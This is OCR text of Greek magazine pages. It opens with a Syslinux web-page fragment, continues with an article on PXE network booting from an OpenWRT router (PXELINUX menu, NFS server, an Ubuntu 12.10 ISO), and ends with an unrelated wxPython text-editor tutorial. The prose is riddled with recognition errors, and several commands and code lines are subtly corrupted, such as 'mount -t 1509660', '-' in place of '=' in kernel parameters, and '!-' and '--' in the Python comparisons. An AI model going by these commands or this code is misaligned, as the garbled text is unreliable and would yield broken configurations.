to use some configuration directives that were originally intented to be used only with the simple menu modules (menu.c32/vesamenu.c32). One of these patches will be 
included in 4.03 but the others are currently still under review. 


= Hardware Compatibilty 
| = Common Problems 
| = Usage Cases 
m Other Projects VCs 
= Syslinux HOWTO 
* Google Summer of 
Code 


Information how to download from the Version Control System is in the Development page. 


development 
» Development 
= Comboot API 
= Changelog 
m Contact 


| search 
| 
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M ΄ A 
Γ΄; gatekeeper.lan - PuTTY [ σα | = PES) Σ αυτον τον 
κατάλογο 


τοποθετήσαμε όλα 
τα αρχεία που θα 
χρειαστούμε για TO 
network boot... 


Σε auróv τον κατάλογο θα πρέπει va τοποθετήσουμε το αρχείο pxelinux.O, 
καθώς και τα αρχεία nou το συνοδεύουν. Το ζητούμενο αρχείο μπορούμε 
va το βρούμε στο Syslinux Project. Πρόκειται yia µια συλλογή απὀ μικρούς 
bootloader, oi οποίοι υποστηρίζουν κάθε πιθανὸ αποθηκευτικὀ μέσο. 
Όλοι θα ἐχουμε δει το ISOLINUX, όταν ξεκινάμε µια διανομὴ anó δισκάκι 
CD/DVD. Κατὰ πάσα πιθανότητα θα ἐχουμε δει και το SYSLINUX, όταν 
ξεκινάμε anó flash disk. Εμείς Aoinóv θα χρησιμοποιήσουμε το PXELINUX 
το οποίο, όπως μαρτυρά το ὀνομά του, χρησιμοποιείται για booting μέσω 
δικτύου. Ξεκινάμε κατεβάζοντας την τελευταία ἐκδοση του πακέτου µε 
τους bootloader (www.syslinux.org/wiki/index.php/Download). Μέσα στο 
χάος των αρχείων nou θα προκύψουν ano την αποσυμµπἰεση του πακέτου, 
πρέπει va εντοπἰσουμε ro pxelinux.O. Θα το βρούμε στον κατάλογο core. 
Επιπρὀσθετα, θα χρειαστούμε το vesamenu32.c32, το onoio βρίσκεται 
στο φάκελο menu, µέσα στον com32. Αυτά τα δύο αρχεία θα χρειαστεἰ 
να τα βάλουμε στον κατάλογο /srv/netboot. Την αντιγραφἠ anó τον 
υπολογιστή µας προς το router μπορούμε να την κάνουμε γρήγορα, µε 
το WinSCP ἡ ro FileZilla, επιλέγοντας ως πρωτόκολλο το SFTP (FTP over 
SSH). 


f ~ , , 
EB gatekeeperlan - PuTTY arim Μπορεί To αρχείο 


ρυθμίσεων να 
εἶναι αρκετά μικρὀ, 
αλλά τουλάχιστον 
λειτουργεί ακριβώς 
όπως θέλουμε. Θα 
μπορούσαμε va το 
τροποποιήσουµε µε 
δεκάδες τρόπους, 
αξιοποιώντας τις 
ρυθμίσεις του 
PXELINUX ἡ εκεί- 
νες TOU vesamenu. 


File: default 


A 


Με αυτά nou έχουμε κάνει ως rOpa, av npoonaeros! να ξεκινήσει 
ἑνας υπολογιστής µέσω δικτύου θα φορτώσει τον bootloader, ο οποίος 
µε τη σειρἁ rou θα αναζητήσει ἑνα αρχείο ρυθµίσεων. Αυτό το αρχείο 
ονομάζεται default? κι οφείλει να βρίσκεται στον κατάλογο pxelinux.cfg. 
Ακριβώς γι’ auró, θα πρέπει να επιστρέψουµε στην γραμμὴ εντολών του 
OpenWRT και να εκτελέσουµε ra ακὀλουθα: 


cd /srv/netboot 
mkdir pxelinux.cfg 
cd pxelinux.cfg 
nano^ default 


3. To pxelinux έχει ἑνα πολύ έξυπνο σύστημα, το οποίο ξεχωρίζει τα αρχεία ρυθμίσεων σύμφωνα µε τη MAC 
address του υπολογιστή. Ἐτσι, μπορούμε να δώσουμε συγκεκριμένο αρχείο για µερικἁ μηχανήματα και ἆλλο για 
κάποια ἀλλα! 


4. Αυτό προὐποθέτει πως έχουμε εγκαταστήσει το nano στον router µας! 
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elaks 
/ [À gatekeeper - Processes- L x 
€ > ο 4 D 192168.1.1/cgi-bin/luci/;stok-b7fd6c4be85feb1279cb34bb90d87alf/admin/status/processes/ Y: B mz 
H 73 root [erypto/0] 0% 0% & Hang Up x]Terminate CHEE El 
| | as root [mtdblockd] 0% 0% S Hang Up κ]Τεππίπιο ^ Kil | | 
| [i (OR root far71xx-spi] 0% 0% δ Hang Up x)Teminate — QKil | | 
| ο... fipolldevd] 0% 0% f£ Hang Up X]Teminate (ΚΙ! | 
| | 304 root [khubd] 0% o% S Hang Up x]Teminste (ΘΚ! | 
|| as root [5οεἰ eh. 0] 0% 0% £ Hang Up x)Terminate ØK | 
j| 514 root [usb-storage] 0*6 0% Hang Up &]Terminate INE 
|| 341 — root ldeurnsld] 0% 0% & Hang Up X]Teminte KI | ᾿ 
|| 361 root init 0% 556 & Hang Up X]Teminae — Kil || 
|| ssi root syslogd -c16 0% 5% SHangUp [Terminate — Ki || 
i 383 root klogd 0% 5% £ Hang Up x Terminate Θκι | | 
| P7 root /sbin/hotplug2 --override --persisten [3 3% f£ Hang Up JTerminate Gk | 
j| sis root [events nrt] 956 0% S Hang Up X]Terminate Ok || 
| ses root [cfg80211] o% 0% S Hang Up XjTerminate Θκι | 
i 878 root [phyo] 096 0% Hang Up x JTerminate Θκι | 
| 695 root [rpciod/0] 0% 0% Š Hang Up |x]Terminate OKI 
|| zu root [nfsiod] 0% 0% € Hang Up &JTerminate. Θκι | 
|| 819 nobody Jusr/sbin/portmap. 0% 3% E Hang Up XjTermite — Kil | 
Í | 1093 root hostapd -P /var/run/wifi-phy0.pid -8 0% s% S Hang Up x]Teminae (ΘΚΙ͂Ι 
|| 1190 root udhcpc -t 0 -i eth0.2 -b -p /var/run/ 0% 5% S Hang Up x Terminate Θκι | | 
| | ases root /'usr/sbin/dropbear -P /var/run/dropbe 0% 4% (S Hang Up x)Terminate ΘΚΙ! |} | 
| | 1592 root Jusr/sbin/uhttpd -f -h /www -r gateke L 0% E (S Hang Up JTerminate BKI | 
| | 1617 nobody Jusr/sbin/dnsmasq -K -D -y -Z -b -E- 0% 3% fS Hang Up x]Terminate Θκι | 
j| 1627 root /usr/sbin/rpc.statd -p 32778 -o 32779 0% 3% Άν Hang Up x JTerminate OK | 
| 1833 root [locka] 0% 0% S Hang Up &]Terminate. Oki | 
| 1634 τοῦ [nfed] o% o% SHangUp  læTeminate — Kil | 
|| 1636 root lusr/sbin/rpc.mountd -p 32780 0% 4% £ Hang Up Terminate Kill 
| | 1644 root 0% smbd -D NK 996 2636 SHangUp xJTeminse (ΘΚ! 
| | 1646 root nmbd -D 0% 7% & Hang Up Terminate Gkill 
| | 1663 τοοῖ Jusr/sbin/collectd -f 0% 99. SHangUp ἰκ]Τειπίπαιο —— Kil || 
| | 1970 root /usr/sbin/collectd -f o% 956 S Hang Up * Terminate. Gk || 
ΕἸ 1671 root /usr/sbin/collectd -f 0% 956 S Hang Up X ]Terminata Gk | | 
| | 1672 τοοῖ lusr/sbin/collectd -f 0% 996 & Hang Up &]Terminate ek" || 
|| 1873 root Jusr/sbin/collectd -f 0% 9% Æ Hang Up |&]Terminate Oki | 
i | 1676 root watchdog -t 5 /dev/watchdog 0% 5% S Hang Up &JTerminate Kil | 
i| 1680 root Jusr/sbin/ntpd -n -p 0.openwrt.pool.n 0% 5% S Hang Up ]Terminate Oki |! 
H root /usr/sbin/vnstatd -d 0% 3% S Hang Up JTerminate κι 
| root loop1] 0% 0% S Hang Up jTeminate (ΘΚ! 
| root /usr/sbin/dropbear -P /var/run/dropbe 0% 4% & Hang Up x)Terminate Gkill 
i root -ash o% 5% S Hang Up &]Terminate κι E 
pue m PS ES ΕΙ AL [ES OR c— ο 
Πα va Με ra παραπάνω θα δημιουργηθεί o φάκελος που περιμένει va βρει το 
σιγουρευτούμε PXELINUX, ενώ απὀ κοντὰ θα δημιουργηθεί και θα ανοίξει το αντίστοιχο 


ότι o NFS server 
λειτουργεί, 
μπορούμε να 


αρχείο ρυθµἰσεων. Πα την opa δεν θα εµβαθύνουμε στη δομή και στο 
περιεχόμενὀ του, αλλά θα σταθούμε σε δυο βασικἁἀ πραγματάκια. Θα 


ψάξουμε yia τα επανέλθουμµε αργὀτερα στο αρχείο ρυθµίσεων, órav θα έχουμε ετοιμάσει 
σχετικά pro- τα αρχεία της διανομής (δηλαδἠ το σύστημα το οποίο θα φορτώνεται 
cesses στην λίστα δικτυακά). 

Processes, στο 

web interface rou Αναφερθήκαµε προηγουμένως στο αρχείο vesamenu32.c32, χωρὶς va 
OpenWRT. εξηγήσουμε οὐτε τι εἶναι αλλά οὐτε και τι κάνει. Πρόκειται για va plu- 


gin που επιτρέπει την εμφάνιση ενὸς οµορφότερου boot-menu. Όπως 
αντιλαμβάνεστε, μπορούμε va παραμετροποιἠσουµε μόνοι µας τη 
λειτουργία του vesamenu, αλλά μπορούμε και να βρούμε ἐτοιμα themes 
στο Internet. Εμείς θα το αφήσουμε ως ἐχει, επειδἠ αυτἠ η εργασία θα 
ξεφύγει και θα περιπλέξει την αποστολἠ µας. Μέσα στο αρχείο ρυθμίσεων 
του PXELINUX, λοιπόν, θα πρέπει να προσθέσουμε αρχικἀ την ακόλουθη 


γραμμή: 
default vesamenu.c32 


Στη συνέχεια, μπορούμε va δώσουμε vav τίτλο στο μενού µας. O γράφων 
αποφάσισε να βάλει το «giannoug's bootmenu», µιας και δε μπορούσε 
να βρει κἀτι καλύτερο ;) Δεν ἐχει σημασία τι θα επιλέξουμε εδὠ -- και 
σίγουρα μπορούμε να αφήσουμε τη φαντασία µας ελεύθερη. 


menu title giannoug's bootmenu 
Oi παραπάνω δύο ρυθμίσεις αποτελούν μονάχα την kopugr| rou 
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παγόβουνου και τις απολύτως απαραίτητες, για va λειτουργήσει o 
bootloader και va εμφανιστεὶ το μενού του. Πλέον, μπορούμε va 
προχωρήσουμε σε πιο κρίσιμα ζητήματα: Στη ρύθμιση του NFS server και 
στην «εγκατάσταση» κάποιας διανομής. 


Μεταφορά αρχείων αλά NFS 


Συνεχίζουμε στο PuTTY, που τόσο µας αρέσει. O NFS server θα σερβίρει 
τα αρχεία της εκάστοτε διανομῆς, nou φορτώνεται δικτυακά. Τον 
εγκαθιστούµε εὐκολα και γρήγορα, εκτελώντας τα παρακάτω: 


opkg update 
opkg install nfs-kernel-server 


Apxikd, ενημερώνουμε τα διαθέσιµα πακέτα στο σὐστημά µας. Στη 
συνέχεια, εγκαθιστούμε το nfs-kernel-server, που περιέχει τόσο TOV 
NFS server που χρειαζόμαστε ògo και κάποια πρόσθετα εργαλεία και 
βιβλιοθήκες. Εξ ορισμού, ὀλες οι πρὀσθετες υπηρεσἰες nou εγκαθιστούµε 
στο OpenWRT δεν ξεκινούν αυτόματα µε το σύστημα. Κυρίως για να 
μην υπερφορτώνεται ἄδικα, το φτωχό hardware rou router. Εμεἰς όμως 
θέλουμε να εἶναι πάντα” διαθέσιμος ο NFS server --ακόμη κι όταν 
επανεκκινούμε τον router. Πα αυτό το Aóyo, εκτελούµε τα ακὀλουθα: 


/etc/init.d/portmap enable 
/etc/init.d/nfsd enable 


Ὅπως θα προσέξατε, ενεργοποιήσαµε και το portmap. Πρόκειται για 
va service που απαιτείται απὀ rov NFS sever. Αν παραλείψουμε va το 


To portmap kai o 
NFS server πρέπει 
va ξεκινούν μαζί 
µε TO router. Αυτή 
τη ρύθμιση την 
πραγματοποιήσαμε 
απὀ τη γραμμή 
εντολών, αλλά θα 
μπορούσαμε va την 
κάνουμε και απὀ TO 
web interface του 
router, πατώντας 
το κουμπί Enable. 


EEES 
[1 gatekeeper - Startup - Lu. x 
€ Q f$ [19216811/cai-bin/luci/stok-b7fd6c4be85feb1279cb34bb90d87a1f/admin/system/startup/ w ΕΙ mz 
gatekeeper | OpenWrt Backfire 10.03.1 | Load: 0.08 0.02 0.01 
Network || statistics 
System — Administration — Software | Startup | Scheduled Tasks — MountPoints LED Configuration — Backup/ Flash Firmware — Reboot 
Initscripts 
You can enable or disable installed init scripts here. Changes will applied after a device reboot. 
Warning: If you disable essential init scripts like "network", your device might become inaccesable! 
i Start priority Initscript Enable/Disable Start Restart Stop 
ἵ o rcs Enabled (3)Statt C Restart &jStop 
f ο umount @Disabled BStat Š Restart &jStop ξ 
| 5 defconfig Enabled Stat C Restart &)Stop | E 
| 5 luci. fixtime GyEnabled Bistat Restart KJ)Stop i 
| 10 Ni boot Enabled [E S Restart &)Stop 
| 19 portmap GEnabled Blstait S Restart Stop 
i 20 fstab GyEnabled (g)statt C Restart &jStop 
i 39 usb Enabled start Restart κ]διορ 
j 40 network GEnabled (B)Start S Restart &jStop 
] 45 firewall Enabled (start Z Restart «Ἴδιορ. 
j 50 cron Enabled BStat Ž Restart &jStop 
} 50 dropbear Gy Enabled (start Z Restart Stop 
| 50 telnet GEnabled BiStart Z Restart Φ]5ιορ 
i 50 vhttpd Enabled BStat Z Restart &]Stop i 
| 59 luci. dhcp. migrate GEnabled BiStart S Restart &JStop d ΕἸ 
i 650 dnsmasq Enabled statt S Restart. κ]θίορ i 
1 50 nfsd Enabled [- 2 Restart κἼδιορ 
i 60 samba GEnabled Gistat SRestart. &jStop 
i 79 luci. statistics Enabled Start Si Restart «)Stop 
| 80 collectd Enabled [πο ον Si Restart Stop 
} 55 done GEnabled Stat £ Restart Stop 
i 55 openvpn Disabled Bistart S Restart «Stop 
| 96 led © Enabled BjStart S Restart &JStop 
i 97 watchdog GEnabled Bistart S Restart. Stop 
i 98 sysntpd (Enabled DStat f Restart x]Stop 
| 99 sysctl (Enabled start Restart &]Stop 
i E vnstat (Enabled 5181 S Restart πε]ϑίορ. 
D ETATE UT UU O u— | 
| 
Local Startup 2 EN - μα] 
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Χρησιμοποιώντας 
λίγη anó τη μαγεία 
της γραμμής 
εντολών TOU Linux, 
καταφέραμε va 
αποκτήσουμε πρό- 
σβαση στα αρχεία 
του ISO χωρίς να 
TO αποσυµπιέσου- 
με! 
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ενεργοποιἠσουµε, ro NFS θα αρνεἰται va ξεκινήσει! Σειρἁ ropa ἐχει µια 
επανεκκίνηση του router. Αυτό unopsi va γίνει απὀ τη γραμμὴ εντολών, 
αλλὰ κι απὸ το web panel. Πλέον, ο NFS server θα τρέχει κανονικότατα. 
Μπορούμε va το επιβεβαιώσουμε ρἰχνοντας µια ματιά στην περιοχἠ Pro- 
cesses, του μενού Status. 


H ρύθμιση των καταλόγων nou θα μοιράζονται µέσω NFS γίνεται απὀ το 
αρχεἰο /etc/exports. Εκεἰ θα προσθέσουμε τους καταλὀγους της διανομῆς 
(ἡ των διανομών) nou θα προσφἑρεται για το network booting. Σε αυτό 
το αρχεἰο ὀμως θα επανέλθουµε αργὀτερα, αφού εγκαταστἠήσουµε κάποια 
διανομή. 


Προσθήκη διανομών 


Μέχρι εδώ xoupe va ἐτοιμο boot menu, ενώ λειτουργικὀ εἶναι και TO 
NFS, µέσω rou onoiou θα μοιράζονται τα αρχεία της εκάστοτε διανομἠς. 
Αν δοκιµάσουµε να ξεκινήσουμε κάποιον υπολογιστή µέσω δικτύου, θα 
καταλήξουμε o' ἑνα kevó μενού, χωρίς kapia επιλογἠ. Έφτασε η opa να 
το αλλάξουμε αυτό! 


Πα το ἀρθρο αποφασἰσαµε να χρησιμοποιήσουμε ro Ubuntu, την πλέον 
δηµοφιλἠ διανομὴ Linux. Ξεκινάμε κατεβάζοντας την τελευταἰα ἐκδοση 
desktop, σε µορφή ISO. Αφού συνδεθούµε και πάλι στη γραµµή εντολών 
TOU router, θα πρέπει να ξεκινήσουμε εκτελώντας τα παρακάτω. Μην 
σας παραξενεύει το URL που χρησιμοποιούμε. Πρὀκειται για ἑνα τοπικὀ 
mirror, στο οποίο µας παρέπεμψε ro ubuntu.com όταν κάναμε κλικ στο 
Download: 


cd ~ 
wget http://ubuntureleases.tsl.gr/quantal/ubuntu-12.10- 
desktop-i1386.iso 


Με λίγη υπομονή, ro ISO θα κατεβεί στον router µας και θα anoOnksurei 
στο home directory του root (στο OpenWRT εἰναι η pia ὀλου του file sys- 
tem). Πριν καταφέρουμε va το χρησιμοποιήσουμε, ὁμως, θα χρειαστούμε 
μερικὰ ακόµη πακέτα: 


opkg update? 
opkg install kmod loop 
opkg install kmod iso 


5. Κάθε φορά nou επανεκκινούμε το router, η λίστα των πακέτων διαγράφεται! 


Network booting µε το Üpenlrt 
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Ὅπως εἶπαμε, κάθε διανομὴ θα βρίσκεται στον δικὀ της κατάλογο, κάτω 
anó το /srv/netboot. Πα αρχή, λοιπὸν, θα φτιάξουμε τον κατάλογο nou θα 
διατηρεἰ τα αρχεία του Ubuntu: 


mkdir /srv/netboot/ubuntu 


Στη συνέχεια κάνουμε mount το αρχείο ISO, στον συγκεκριμένο 
κατάλογο. Έτσι, δεν χρειάζεται να µπλέκουµε µε αποσυμπιέἑσεις αρχείων, 
ενώ κρατάμε τη μνήμη του μικρού µας router όσο το δυνατὸν πιο καθαρή: 


mount -t 1509660 -o loop \ 
/root/ubuntu-12.10-desktop-i1386.iso /srv/netboot/ubuntu/ 


AuTÒ ἦταν ὁλο! Μόλις προσθέσαµε µια διανοµή yia δικτυακή εκκίνηση. 
fia να ολοκληρώσουμε το εγχεἰρημά µας, θα χρειαστεἰ να γυρίσουμε 
στο αρχείο ρυθμίσεων του PXELINUX και να προσθέσουμε μερικὲς ακόμα 
γραμμές... 


cd /srv/netboot/pxelinux.cfg 
nano default 


Οι ορισμοί των λειτουργικὠν στο μενού του PXELINUX απαιτούν τη 
διαδρομή yia τον πυρήνα, τις σχετικἐς παραμέτρους και μερικὰ ακόμα 
στοιχεία. Πα παράδειγµα, δείτε τις γραμμὲς για την προσθήκη rou Ubun- 
tu, στο bootmenu: 


label Ubuntu 12.10 

kernel ubuntu/casper/vmlinuz 

append initrd-ubuntu/casper/initrd.lz boot-casper nopersistent 
rw quiet netboot-nfs nfsroot-192.168.1.1:/srv/netboot/ubuntu 


Ὅπως βλέπετε, αρχικἁ δίνουμε éva περιγραφικὀ ὀνομα, για τη διανοµἠ 
nou πρὀκειται va φορτωθεί. Στη συνέχεια δίνουμε τη διαδρομή του 
πυρήνα, η οποία εκφράζεται σε σχέση µε τον ριζικὀ κατάλογο του ΤΕΤΡ. 


Press [Tabl to edit options 


Μπορεί ro boot 
menu να εἶναι 
λιγάκι ἀσχημο, 
αλλά καταφέρνει 
να ξεκινήσει TO 
Ubuntu 12.10 
χωρίς CD! 
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c mtu 1500 DHCP RARF 


Σε αυτό ro σημείο 
έχει ξεκινήσει οπυ- 
ρήνας του Ubuntu 
και γίνονται Οἱ 
πρώτες απόπειρες 
για επικοινωνία µε 
τον NFS server! 
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Στην περἰπτωσὴ µας o εν λόγω κατάλογος εἶναι o /srv/netboot, ενώ η 
πλήρης διαδρομή για τον πυρήνα εἶναι η /srv/netboot/ubuntu/casper/ 
vmlinuz. Επομένως, στο αρχείο ρυθμίσεων και yia τη θέση του πυρήνα 
δίνουμε ro ubuntu/casper/vmlinuz. Ακολουθούν οι παράμετροι nou 
περνάμε στον πυρήνα. Οι ρυθμίσεις αυτὲς ka8opiGouv βασικὲς πτυχὲς της 
A&rroupyiag rou. Ανάμεσα σε αυτὲς ξεχωρίζει εκείνη που φροντίζει για την 
εκκίνηση του συστήματος µέσω NFS. Σε αυτήν την παράμετρο δίνουμε 
και TOV κατάλογο στον onoio έχουμε τοποθετήσει τα αρχεία της διανοµἠς 
(/sev/netboot/ubuntu). Πριν προχωρήσουμε, σημειώστε óri το PXELINUX 
μπορεί να δεχτεἰ περισσότερες ρυθμἰσεις απὀ αυτὲς που χρησιμοποιήσαμε 
εμεὶς. Πληροφορίες και αρκετά παραδείγματα θα βρείτε στο wiki του Sys- 
linux Project (www.syslinux.org/wiki/index.php/SYSLINUX). 


Αφού αποθηκεύσουµε και κλείσουμε το αρχείο ρυθμίσεων rou PXELINUX, 
απομένει ἑνα τελευταῖο βήμα: H ρύθμιση του NFS server, woTe να ξέρει 
ποιους καταλόγους επιτρέπεται να μοιράζει, σε ποια μηχανήματα και µε 
ποια δικαιώματα. Πα το σκοπὀ αυτό ανοἰγουµε ro αρχείο ρυθμίσεων του 
NFS (/etc/exports) και προσθέτουμε την ακόλουθη γραμμὴ: 


/srv/netboot/ubuntu 192.168.1.0/255.255.255.0(ro,no subtree - 
check) 


Όπως βλέπετε, εμείς μοιράζουµε rov κατάλογο µε ra αρχεία της διανοµἠς 
σε όλα τα μηχανήματα του δικτύου µας -- και µε πρόσβαση µόνο για 
ανάγνωση (ro, απὀ ro read-only). Προφανώς, για κάθε διανομὴ nou 
θέλουμε να παρέχεται για δικτυακή εκκίνηση, θα πρέπει να προσθέτουμε 
µια αντίστοιχη γραµµή στις ρυθμίσεις του /etc/exports. 


H opa της δοκιμής 


Εἶναι όλα ἑτοιμα και μπορούμε πλέον να κάνουμε την πρώτη µας δοκιμή. 
Εδὠ ἐχουμε δύο επιλογές: Na δοκιμάσουμε το network booting σε 
κάποιον υπολογιστή ἡ σε κάποιο virtual machine. Ας ρίξουμε µια ματιὰ 
και στις δύο. 


Στην περίπτωση του φυσικού υπολογιστή, θα χρειαστεί να επισκεφτούµε 
TO BIOS. Εκεἰ θα πρέπει να βρούμε ro boot order (rj boot priority) και va 
εξασφαλίσουµε ὁτι η πρὠτη συσκευἠ yia την εκκίνηση rou μηχανήματος 
εἶναι η kápra δικτύου. Βέβαια, yia να εμφανιστεί η κάρτα δικτύου 
στο εν λόγω μενού, θα πρέπει να ενεργοποιήσουµε και το LAN boot. 
Δυστυχώς, αυτή η ρύθμιση δεν βρίσκεται στην ἴδια θέση κι anó BIOS 
σε BIOS παρατηρούνται πολλὲς διαφορές. Εἱμαστε σίγουροι ὁμως οτι 
θα την ξετρυπώσετε! Αφού αποθηκεύσουµε τις ρυθμίσεις και κάνουμε 
επανεκκίνηση, μετὰ απὀ το POST rou BIOS θα πρέπει να εμφανιστεί το 
μενού του PXELINUX! Πάντως, η ιδέα του va πειράξουμε μόνιμα το boot 
order δεν εἶναι και πολύ βολικἠ, εκτὸς αν θἐλουµε να Ροοϊἁάρουµε πάντα 
anó το δίκτυο. Mia πιο ευέλικτη λύση εἶναι va ενεργοποιήσουµμε ro LAN 
boot, αλλά να µην επἐµβουµε καθόλου στο boot order. Όταν θα θέλουμε 
να φορτώσουμε kánoia διανομὴ δικτυακά, θα αρκεὶ να πατάμετο [F12] (ù 
το [F8] σε κάποιες μητρικές) κατὰ την ενεργοποίηση του μηχανήματος, 


Network booting µε το Üpenlrt 
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ώστε va εμφανίζεται το boot menu rou BIOS. Με αυτόν τον τρόπο θα 
μπορούμε va επιλέγουμε την κάρτα δικτύου σαν συσκευἠ εκκἰνησης, 
χωρὶς va επιφἐρουµε μόνιμες αλλαγές στις ρυθμἰσεις του υπολογιστή. 


H περίπτωση του virtual machine εἶναι αρκετἁ ευκολότερη, καθώς τα VM 
εἶναι ρυθμισμµένα να ξεκινούν απ΄ την κάρτα δικτύου εξ ορισμού. AUTÒ που 
πρέπει να προσέξουμε εἶναι να ρυθµἰσουμε την εικονικἠ κάρτα δικτύου 
κατάλληλα, ὥστε va συνδέεται απευθεἰας στο δίκτυο και να µην εἶναι NA- 
Ted. Στο VMware Workstation, η σχετικἠ επιλογἠ yia την κάρτα δικτύου 
ονομάζεται Bridged (Σ.τ.Ε. Έτσι ονομάζεται και στο VirtualBox.) Αν ¿xouv 
πάει όλα καλὰ, µια εικονικἠ unxavrj χωρὶς εγκατεστημένο λειτουργικό 
θα εμφανίσει αυτόματα το μενού του PXELINUX και θα µας επιτρέψει va 
Ροοϊάρουµε δικτυακά! 


Επίλογος 


Το σύστημα που δημιουργήσαμε δίνει ελευθερἱα σε ὁσους παίζουν συχνά 
µε διάφορες live διανομές, σε διάφορα μηχανήματα rou τοπικού δικτύου. 
Στο μυαλὸ µας ἐρχεται αμέσως ro BackTrack και ro Tails. Το πρώτο δεν To Ubuntu 12.10 
χρειάζεται ιδιαίτερες συστάσεις, ενὠ ro δεύτερο αποτελεἰ µια διανομή ἐπ id ode 
για τους λάτρεις της ανωνυμίας κι αυτούς που δεν εμπιστεύονται οὐτε TO πούμε ότι ξεκινάει 
ποντίκι τους! O γράφων yia την opa ἐχει ξεκινήσει αρκετες διανομές σε πολύ γρηγορότερα 


ΝΜ µέσω δικτύου, ενώ ἐχει επιβάλλεισε ὀλουςτους φυσικούς υπολογιστὲς µέσω δικτύου, σε 
του δικτύου το network booting. Έτσι, χωρίς να μπλέκει µε παρωχημένα σύγκριση µε τον 
δισκάκια, ὀποτε χρειάζεται ἑνα malware-resistant περιβάλλον για Ed serae 
επικίνδυνες αποστολές, ro ἐχει δικτυακἁ και εἶναι το Ubuntu! 935! baby J 
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part IlI 


Ἔχουμε προχωρήσει τον text 
editor µας σε ἑνα σεβαστὀὸ 
επἰπεδο λειτουργικότητας και 
ταυτόχρονα έχουμε πάρει αρκετὸ 
θάρρος: Αφού καταφέραμε va 
ενσωματώσουμε ὀλες αυτές 
τις λειτουργίες σε τὀσο Aiyo 
--και σχετικἀ απλὀ-- κὠδικα, 
αισθανόμαστε ἕτοιμοι για πιο 
μεγάλες προκλήσεις. Μέχρι τῶρα 
η wxPython υπήρξε καλὸς µας 
σύμμαχος και τα προγρἀμματά 
μας ἐτρεχαν θαυμάσια σε ὅλα 
τα λειτουργικά συστήματα nou 
δοκιμάσαμε. AUTÒ αναμένουμε 
να γίνει και στη συνέχεια... 


bu Sonic 
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H ωραία µας aurrj φαντασίωση θα διαλυθεἰ σύντομα: To cross-platform 
programming, όπως θα διαπιστώσετε στο napóv ἀρθρο, κρύβει πολλὲς 
παγίδες. H συμπεριφορά ορισμένων κλάσεων κι αντικειμένων δεν εἶναι 
ἰδια σε όλα τα λειτουργικἁ συστήµατα. Πα παράδειγµα, κἀτι που λειτουρ- 
γεἰ µια χαρά στα Windows, δεν φαίνεται να συμπαθεί ιδιαίτερα τα UNIXo- 
ειδἠ µας. 


Και τι να τα κάνουμε *uóvo* τα Windows, µου λέτε; Εμείς ξεκινήσαμε 
για cross-platform κι ἐτσι θέλουμε να συνεχίσουμε. Όμως auró απαιτεί 
µια σχεδὸν συνεχή πάλη µε τους δαίμονες και τις παγίδες του wxPython, 
ὁπως επἰσης και διαρκἠ αναζήτηση στην τεκµηρἰωση και στα παραδεἰγµα- 
τα TOU κὠδικα (αναζητήστε τον κατάλογο wxPython/demo στο σὐστημὰ 
σας). 


Φτιάχνουμε το va, χαλάει το ἄλλο... Θα το δείτε τόσο πολὺ σ’ αυτό το 
άρθρο, nou 0a εμπεδώσετε τελικἀ τις Τρεις Ύψιστες Αρετὲς (TM) που 
πρέπει να διαθέτει ἑνας προγραμματιστής: 
ο Ὑπομονὴ 
ο Enipovr| 
ο Δυνατότητα να τρέφεται µε προχθεσινἠ niroa, που μάλιστα ἐχει 
μείνει εκτὸς ψυγείου 


Ας ξεκινήσουμε όμως αμέσως µε rov κὠδικα. Έχουμε ἐμπνευση και δεν 
θέλουμε να πάει χαμένη! 


Ἕνα £&unvo Paste 


Κάθε editor nou σέβεται τον εαυτό του *ōev* δείχνει ενεργοποιημένο 
TO κουμπάκι Paste (kai την αντίστοιχη επιλογἡ στο μενού Edit), órav ro 
Clipboard εἶναι ἀδειο ἡ περιἐχει κάτι που απλἁ δεν µπορεί va επικολληθεἰ 
στην τρέχουσα εφαρµογή. 


Στο προηγούμενο άρθρο εἰδαμε noc μπορούμε va περιορἰσουµε ra Copy 
και Cut, ώστε να µην ενεργοποιούνται χωρίς επιλεγμένο κείμενο. Δεν 
υπάρχει µεγάλη διαφορὰ και για το Paste. 


Φαίνεται μάλιστα να εἰμαστε τυχεροί καθώς το TextCtrl διαθέτει την 
CanPaste(), nou επιστρἑφει True av το clipboard περιέχει δεδοµένα nou 
μπορούν va επικολληθούν. 


Mia αρχικἠ υλοποίηση εἰναι αυτή: 
def OnUpdateEditMenu(self, eventobject): 

eventid - eventobject.GetId() 

if eventid in (wx.ID COPY, wx.ID CUT): 
selection = self.textctrl.GetSelection() 
textselected = (selection[0] !- selection[1]) 
eventobject.Enable(textselected) 

elif eventid -- wx.ID PASTE: 
eventobject.Enable(self.textctrl.CanPaste()) 

else: 


eventobject.Skip() 


Python & wxPython: The uxEditor Project! part III 
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Αν όμως korrá&ere το documentation yia ro wxTextCtrl::CanPaste(), θα 
δείτε µια µικρἠ αλλά εκνευριστικἠ λεπτομέρεια: 


Returns true if the contents of the clipboard can be pasted 
into the text control. On some platforms (Motif, GTK) this is an 
approximation and returns true if the control is editable, false 
otherwise. 


Με λίγα λόγια, η συνάρτηση CanPaste σε pepikà περιβάλλοντα, ὁπως το 
GTK και το Motif, επιστρέφει True απλά και μόνο επειδἠ ro TextCtrl εἶναι 
ανοικτὸ προς επεξεργασἰα. Καμιά σχέση όμως, µε αυτό που θέλαμε εμείς! 


Και τι θέλαμε; Μα, ὀχι απλὼς να ενεργοποιείται το Paste όταν υπάρχουν 
δεδομένα στο clipboard, αλλά να ενεργοποιείται όταν τα δεδοµένα αυτά 
εἶναι *kar* συμβατά µε ro TextCtrl. Δηλαδή, va εἶναι απλά κείμενο. Na 
σας δω δηλαδἠ va επικολλάτε δεδομένα ἠχου στον text editor κι ό,τι 
θέλετε! Παρατηρήστε ὁτι ο περιορισμός δεν ισχύει για όλα ra περιβἀλ- 
λοντα: Σε περιβάλλον Windows, ο παραπάνω κὠδικας θα δουλέψει κατὰ 
τα αναμενόμενα. Καλὸς ο διαπλατφορμικὀς προγραμματισμὀς αλλά αυτὲς 
τις λεπτομέρειες θα πρέπει να τις προσέξουμε, αν θέλουμε πράγματι το 
πρὀγραμμα µας να λειτουργεἰ παντού. 


Στην περἰπτωσὴ µας η λύση περιἐχει µερικἀ ακόµα βήματα. Δείτε τον 
κὠδικα κι αµέσως μετὰ την ερμηνεία. 
elif eventid -- wx.ID PASTE: 
if not wx.TheClipboard.IsOpened(): 
wx.TheClipboard.Open() 
eventobject.Enable(wx.TheClipboard.IsSupported( 
wx.DataFormat(wx.DF TEXT))) 

wx.TheClipboard.Close() 


